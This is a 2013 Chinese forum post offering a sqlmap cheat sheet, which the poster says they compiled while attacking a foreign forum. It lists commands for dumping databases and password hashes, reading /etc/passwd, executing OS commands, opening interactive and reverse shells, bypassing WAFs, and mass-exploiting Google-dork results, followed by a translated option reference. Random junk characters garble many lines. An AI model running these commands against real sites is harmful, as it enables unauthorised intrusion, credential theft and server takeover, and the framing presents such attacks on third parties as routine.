找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2579|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、  W. ?& n0 ~7 L$ U
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
. u+ W* m7 @( G5 F. m  F, c! Hsqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
5 t1 n! G2 p' K2 m4 r' E" Fsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
" k2 \' o: U' M% {+ z. c( R- g) s+ d $ S7 n' [- ^( a- {  D9 p. ]. s
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
& C& l( \: k- Z0 #获取字段内容
, [; B& F; }2 s5 Z% x1 v( h
# ~3 p1 W8 A  g5 n! t******************信息获取******************; a  j2 v3 G( ?8 E) Z
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型& e. H, c3 r( W+ E1 j
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
2 T# t, y1 o- E  D4 Jsqlmap -u “http://url/news?id=1″ –dbs#列数据库4 R% {& Z# b: ^, k: A3 x. h5 D
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码2 l4 j8 p8 h  v; \! z6 a# y
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码1 `# u8 n9 W9 I0 ~4 J
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
# e! w0 s% R9 a: c2 L–start 1 –stop 20 #列出指定字段,列出20 条0 M# J- ]0 E# m( T! \1 Q. Y  D
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表/ T8 ?" M7 V9 C4 q! o
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
6 k; ^* O: w; b; qsqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色& b/ Y' o2 K/ T. A9 t
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)6 a# ^) ~$ m, A3 ^$ U( b$ |" ^
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
0 d. q9 c3 m/ K/ wsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
+ o1 I5 Z- W0 K4 G& tsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入9 _5 k* t1 H, z- b9 L  o+ D$ t; V
sqlmap -u “http://url/news?id=1″-b #获取banner信息, `, `' t% Z7 F# M7 x  W
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入' r0 F2 V) i" q
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
  ]' I6 O* b' j# Z3 Z0 Ysqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
- a" A  ~  Z3 N8 q% Lsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词! J2 ?, o; w. l; K: {( p( z; s
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
" l$ w2 G" T+ K5 v$ ?sqlmap -u “http://url/news?id=1″ –file /etc/passwd
# n- Y5 z4 x3 o9 Asqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
6 i4 X/ W0 _- b$ bsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
, d+ l! F/ `, |, [0 gsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表5 [' J: b. u+ y5 D) J7 t
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度4 b, h4 f. T% }, C
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
5 w+ u5 F7 u0 |6 X! t***********高级用法*************" p* e% R8 }* n# M" W. G- F: ]
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入1 ]) j$ f, x& `  k+ h$ `5 c- Z3 A
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问; B! n7 D/ @% k% A, x$ ?4 B$ K& E
–technique   测试指定注入类型\使用的技术* _+ q/ k% z- w+ b7 ]4 R+ J( C7 e
不加参数默认测试所有注入技术
* v2 g9 X0 P" z1 P$ ?•     B: 基于布尔的SQL 盲注! Q' U9 X+ u" K+ `0 c* ]7 J1 P7 Z$ s
•     E: 基于显错sql 注入
3 L& ~- j: p: t* m9 x•     U: 基于UNION 注入
& l6 f8 O6 Q0 t9 a! Y0 `1 Z3 Y% T•     S: 叠层sql 注入3 b% w1 r* L; H* u; L# y* Q$ T
•     T: 基于时间盲注
1 @4 Q, }3 t# ^( L–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()3 ^8 k8 c, @1 i( ^5 Z  F0 H. c
–tamper 插件所在目录) ^$ g9 ]- v9 d8 C7 P; |3 p& }( h( ]
\sqlmap-dev\tamper
/ i- ?# Y. _5 O% K& wsqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能0 U, ?, |% Q% V# R4 h# w- m& W
level 执行测试等级 攻击实例:! f' D0 k6 o8 U, H* O
Sqlmap -u “http://url/news?id=1&Submit=Submit”7 I8 X% Q2 a6 ]. M1 D
–cookie=”PHPSESSID=41aa833e6d0d5 `9 D) F7 c. V( z9 z
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user* H8 q6 O2 \& o5 D& O2 g; w# ]
–password5 i8 O9 W( _: O* _1 L& B
参考文档:http://sqlmap.sourceforge.net/doc/README.html! v+ p2 Q" Z6 v' i% C5 i9 u
***********安装最新版本*************0 A  ^4 f# d7 x- S! d+ X/ h
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版6 O; ~- R: Y4 _9 [% a
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev$ I8 @7 R& e* o% a# D# L9 B: {
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件$ c( j; X4 ^: [7 c1 e' |% O& h# ?
sudo vim /home/当前用户/.bashrc
& s) A) |& X& e: e5 P#任意位置加上:
3 F9 T/ r7 G, \" N7 e' ^' salias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
2 M9 @5 C7 M5 ]  M. x  v如果想对所有用户有效 可设置全局 编辑下面的文件
$ }7 K% s" l6 p3 ]vim /etc/profile. U5 [! |! A* _5 r, A
同样加上:6 [/ ?: v4 M1 l$ T
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效7 V2 ^1 h6 `+ Z) \; E0 j4 u* E$ {
******************windows 7 (x64) sqlmap install (SVN)************
9 N. L/ |# I! v5 Bhttp://www.python.org/getit/ 安装python3 K" Q; l4 J" i/ c' `/ t
http://www.sliksvn.com/en/download 安装windows svn client5 r0 g7 U; S( Q, [
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev/ w8 A* \2 m) Q2 e: U: }
安装sqlmap
( d8 ^& y+ O. H* N: M7 N" S*修改环境变量$ c: t1 E6 P2 A7 o6 w4 c: @
–version             显示程序的版本号并退出
) j) G7 g5 p3 X1 B-h, –help            显示此帮助消息并退出9 K  u- S; e5 _, Q
-v VERBOSE            详细级别:0-6(默认为1); k1 w! w9 K1 _0 X) P9 X' S
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
/ N1 d* W4 Q. S-d DIRECT           直接连接到数据库。
: h. [0 j! [' o8 C! _7 O8 f-u URL, –url=URL   目标URL。
2 A; C! b, K- j8 R  `+ J-l LIST             从Burp 或WebScarab 代理的日志中解析目标。7 `& ~; I7 O, M% M" }
-r REQUESTFILE      从一个文件中载入HTTP 请求。
. Y% `- e# j- y9 _5 ?, H% ^  e8 V! N-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
& K' _* G% r& r, W8 A% D3 o" S, ?, G-c CONFIGFILE       从INI 配置文件中加载选项。
8 ~, E7 j9 M# ^( {; ARequest(请求)::- k2 n& O! Q/ g
这些选项可以用来指定如何连接到目标URL。
0 \+ C9 k9 d. \  G3 l' Z–data=DATA         通过POST 发送的数据字符串
8 e  Q) m; j$ Z6 C8 S4 L) s/ `–cookie=COOKIE     HTTP Cookie 头
+ m% |" L: c& O* ~4 Z–cookie-urlencode  URL 编码生成的cookie 注入6 Z" U4 x! x9 A+ B$ |% ^
–drop-set-cookie   忽略响应的Set –Cookie 头信息: d" {/ J1 z, Q* R* ?6 z

2 W% {; c: r+ @) x; C6 q, B- a% K: o–user-agent=AGENT  指定  HTTP User –Agent 头
6 G5 r: H$ `: K–random-agent      使用随机选定的HTTP User –Agent 头+ v& D/ H/ z; B7 S4 M3 e
–referer=REFERER   指定  HTTP Referer 头0 ?! [7 m3 H5 G+ x* ]' x2 n- t
–headers=HEADERS   换行分开,加入其他的HTTP 头! p+ ~: ?, e' p/ q5 H/ g" c7 d
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
, V; M& s, t; V1 `8 M7 s; L–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)* p0 w5 c) G/ Z8 B4 I
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)1 Y' R  W% r3 g- c% w( N2 b  @
–proxy=PROXY       使用HTTP 代理连接到目标URL8 C8 Q, t7 F" J9 k5 ]+ L
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
7 \) Z% t9 c' A# d) h3 ^; O–ignore-proxy      忽略系统默认的HTTP 代理
2 P1 c' f/ V, Q1 z/ b' R  O–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒, i' \9 ^1 T; Q- n5 O& C
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)6 x6 h3 Q7 |% b* v# |8 }7 v0 U
–retries=RETRIES   连接超时后重新连接的时间(默认3)
1 i) N1 a. H1 `–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式3 N' Z3 o1 S, k# q# j
–safe-url=SAFURL   在测试过程中经常访问的url 地址0 O, B; N1 b8 m/ Y& N0 n
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
% [4 u* s) S9 x9 R- M( vOptimization(优化): 这些选项可用于优化SqlMap 的性能。) N4 J1 b6 s9 X2 e3 m/ _+ r
-o                  开启所有优化开关: ]! G6 e, r$ x) f% j( d
–predict-output    预测常见的查询输出9 F& {2 g+ w+ _
–keep-alive        使用持久的HTTP(S)连接7 U$ l0 m# N# \! s
–null-connection   从没有实际的HTTP 响应体中检索页面长度- D( f2 C. q4 s* M0 Z6 S
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1), U; j' W3 x) }# U  I  U
Injection(注入):( g5 w5 _$ q3 i) O  A
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
9 }) u. a1 h6 `# f! \-p TESTPARAMETER    可测试的参数(S)2 M! A* C4 a  ?( a2 P$ \  @2 c) _
–dbms=DBMS         强制后端的DBMS 为此值+ m; \- ~8 U( x( l# c1 P
–os=OS             强制后端的DBMS 操作系统为这个值% I5 `& a  ]4 A) X& J. A
–prefix=PREFIX     注入payload 字符串前缀
: K1 S. [& j, P: g4 o  |–suffix=SUFFIX     注入 payload 字符串后缀6 w1 Y2 d6 n1 l1 v) f' j, J
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据) |+ O, W; ?' S! K' P
Detection(检测):1 e7 Z& x# U$ W. T
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
& n" s: ~0 Q, _7 |+ ]–level=LEVEL       执行测试的等级(1-5,默认为1)# r$ B8 }+ p, A* |( Y; p
–risk=RISK         执行测试的风险(0-3,默认为1)9 Z8 k4 F1 j  N
–string=STRING     查询时有效时在页面匹配字符串
* S+ X5 t' e4 C1 F1 m2 \% I–regexp=REGEXP     查询时有效时在页面匹配正则表达式
! x2 q# Z7 V( J0 V" y6 C–text-only         仅基于在文本内容比较网页6 e. |3 R. a" m1 O! ?3 K7 z
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
( F3 s  T- I- r! d–technique=TECH    SQL 注入技术测试(默认BEUST)
. A1 k# C- {. w& w& O1 Y–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
0 Q* |; w* f, J  p4 Q  p4 h8 J7 |4 r–union-cols=UCOLS  定列范围用于测试UNION 查询注入7 x- U5 s7 k5 |+ w8 r+ q7 y# x' E
–union-char=UCHAR  用于暴力猜解列数的字符1 Z5 E+ D3 s* e) p; ~" g9 A
Fingerprint(指纹):
8 y+ i, x. f# p% G-f, –fingerprint     执行检查广泛的DBMS 版本指纹
# I7 Y5 u/ c1 j' O  ^! F0 NEnumeration(枚举):
$ d2 b( v4 s( q( q - L8 @4 i+ z5 n5 R
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。! |& ~% i( m# k0 [3 P
-b, –banner        检索数据库管理系统的标识
$ q" E, B, j( \- v; n$ K–current-user      检索数据库管理系统当前用户  |% N, m. X+ o* D# M3 ^: F! d
–current-db        检索数据库管理系统当前数据库
1 R( m6 j+ m" k' B6 u2 l–is-dba            检测DBMS 当前用户是否DBA  g0 A1 K: B. Z: d
–users             枚举数据库管理系统用户5 J' D! o( u. Q. _2 h( ]* k
–passwords         枚举数据库管理系统用户密码哈希' |/ H5 ^$ r8 d) d7 o) y/ v
–privileges        枚举数据库管理系统用户的权限
; w& h- |$ Z; g8 W+ c–roles             枚举数据库管理系统用户的角色
1 ]; O1 v& }, C# v–dbs               枚举数据库管理系统数据库& B7 p) a( |/ S3 k* i  I
–tables            枚举的DBMS 数据库中的表9 W3 I; E" d+ E, \, z2 C7 X
–columns           枚举DBMS 数据库表列. n+ V* H; S9 A/ z9 s
–dump              转储数据库管理系统的数据库中的表项
* ^/ T6 ?- q5 S: ?–dump-all          转储所有的DBMS 数据库表中的条目# T1 @8 h. s, J
–search            搜索列(S),表(S)和/或数据库名称(S)
4 A1 g8 S& b/ k4 V-D DB               要进行枚举的数据库名8 z5 n, ^# k/ [8 {# M2 f. n& {% g
-T TBL              要进行枚举的数据库表  a+ |4 `) r. _6 r+ s5 \7 s0 T& a; A
-C COL              要进行枚举的数据库列! B/ C& E2 [$ i, w6 i( B, h. H# l: J
-U USER             用来进行枚举的数据库用户
& R$ k8 V' E& ]: o/ K–exclude-sysdbs    枚举表时排除系统数据库) N4 `2 o' m; t6 E6 m
–start=LIMITSTART  第一个查询输出进入检索; {* M$ p8 i+ O
–stop=LIMITSTOP    最后查询的输出进入检索
+ e# C  l% ~$ m) h! Q: r–first=FIRSTCHAR   第一个查询输出字的字符检索5 z2 d3 s/ A3 x. [
–last=LASTCHAR     最后查询的输出字字符检索
4 ^- @6 m; w2 j( e: b2 W–sql-query=QUERY   要执行的SQL 语句# @  `6 O. s+ {, o0 i3 q4 U0 y- l9 k
–sql-shell         提示交互式SQL 的shell
" x, O" S* K( W5 F" R9 XBrute force(蛮力): 这些选项可以被用来运行蛮力检查。/ s, R( p/ x7 V  |
–common-tables     检查存在共同表
& o8 ~% @. j$ f8 G–common-columns    检查存在共同列
- m9 J- h$ s( Y4 FUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
! `1 E. M- \6 [! g' J–udf-inject        注入用户自定义函数
  @* G. p7 J( t% ]4 J* T' Y6 k–shared-lib=SHLIB  共享库的本地路径3 q6 H, m  d' t8 L, J; v
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
6 B! J* t8 f' ^1 |- s$ J–file-read=RFILE   从后端的数据库管理系统文件系统读取文件8 z4 O: _9 @- b0 X) |. k
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件5 \1 V# e( _  F+ T. o$ r
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径' k7 ~* J; U5 b2 _0 ?7 e9 _
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
# Y2 W$ w$ I  g/ t* p) A/ T–os-cmd=OSCMD      执行操作系统命令* ?0 r6 {: o! C! ?
–os-shell          交互式的操作系统的shell* @3 d9 v5 N3 Z7 i, E+ Y& C, j
–os-pwn            获取一个OOB shell,meterpreter 或VNC4 j) _! d$ [% c
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
9 |+ ]7 z, g* q0 h$ ?; s–os-bof            存储过程缓冲区溢出利用8 M$ A8 Z4 d+ z( w1 W8 c$ k0 F
–priv-esc          数据库进程用户权限提升5 Y; t, v$ {3 Q7 g
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
+ {# Q' z7 ~  ~# I0 X- g! S6 n–tmp-path=TMPPATH  远程临时文件目录的绝对路径
1 R7 \+ V8 ]" H8 v 1 p' O. o9 T9 ?* p1 a3 h1 x
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
9 p# k4 S5 Y% K4 g% s; L  m$ b–reg-read          读一个Windows 注册表项值
4 [4 A5 B+ `% ~7 e4 r5 T( Z–reg-add           写一个Windows 注册表项值数据, j6 _, v% U4 R
–reg-del           删除Windows 注册表键值
: _  [/ Y% {: P$ I1 w–reg-key=REGKEY    Windows 注册表键% N( z7 d- y1 d* w9 ]$ d
–reg-value=REGVAL  Windows 注册表项值/ S' o5 @* A$ b
–reg-data=REGDATA  Windows 注册表键值数据
# \& q; j* W5 ]4 B6 I/ v$ l–reg-type=REGTYPE  Windows 注册表项值类型, m% V3 M$ P; z$ V' E2 f0 l+ Q
General(一般): 这些选项可以用来设置一些一般的工作参数。
) J& b; C& t* j! @& J+ U% y6 g-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中, ?- @% `. J% e. C+ ]
-s SESSIONFILE      保存和恢复检索会话文件的所有数据
, g/ U) j- P( {, c! R–flush-session     刷新当前目标的会话文件
! B3 N2 B+ h# C' W2 ~$ i! q* N  Y–fresh-queries     忽略在会话文件中存储的查询结果
1 V0 H" G- A% |3 b2 J6 ^–eta               显示每个输出的预计到达时间
. U8 O+ a* r, V. O7 ~" u–update            更新SqlMap
) M/ w, `% s& N–save              file 保存选项到INI 配置文件
2 K* O. S; R" |  m; k7 ^) p–batch             从不询问用户输入,使用所有默认配置。
9 d# Y4 ~* \4 l/ H. U1 |" AMiscellaneous(杂项):
7 L: j- f. E  m( P–beep              发现SQL 注入时提醒
# T- a$ ?' K7 I6 R–check-payload     IDS 对注入payloads 的检测测试  G4 P6 R/ o4 O
–cleanup           SqlMap 具体的UDF 和表清理DBMS' j0 \; e, e. Q( ?6 W2 U
–forms             对目标URL 的解析和测试形式3 D) p& g$ A& {+ i. i
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
5 Q4 J3 Z/ n6 i4 r–page-rank         Google dork 结果显示网页排名(PR)
% t& R; o+ |" X) o0 U2 C6 q–parse-errors      从响应页面解析数据库管理系统的错误消息
/ k" P1 \8 S5 h–replicate         复制转储的数据到一个sqlite3 数据库
- T+ Z5 @3 ~# }7 j; t2 S# K4 h8 l* s  }–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址) e2 L3 n' N7 W" l9 q
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表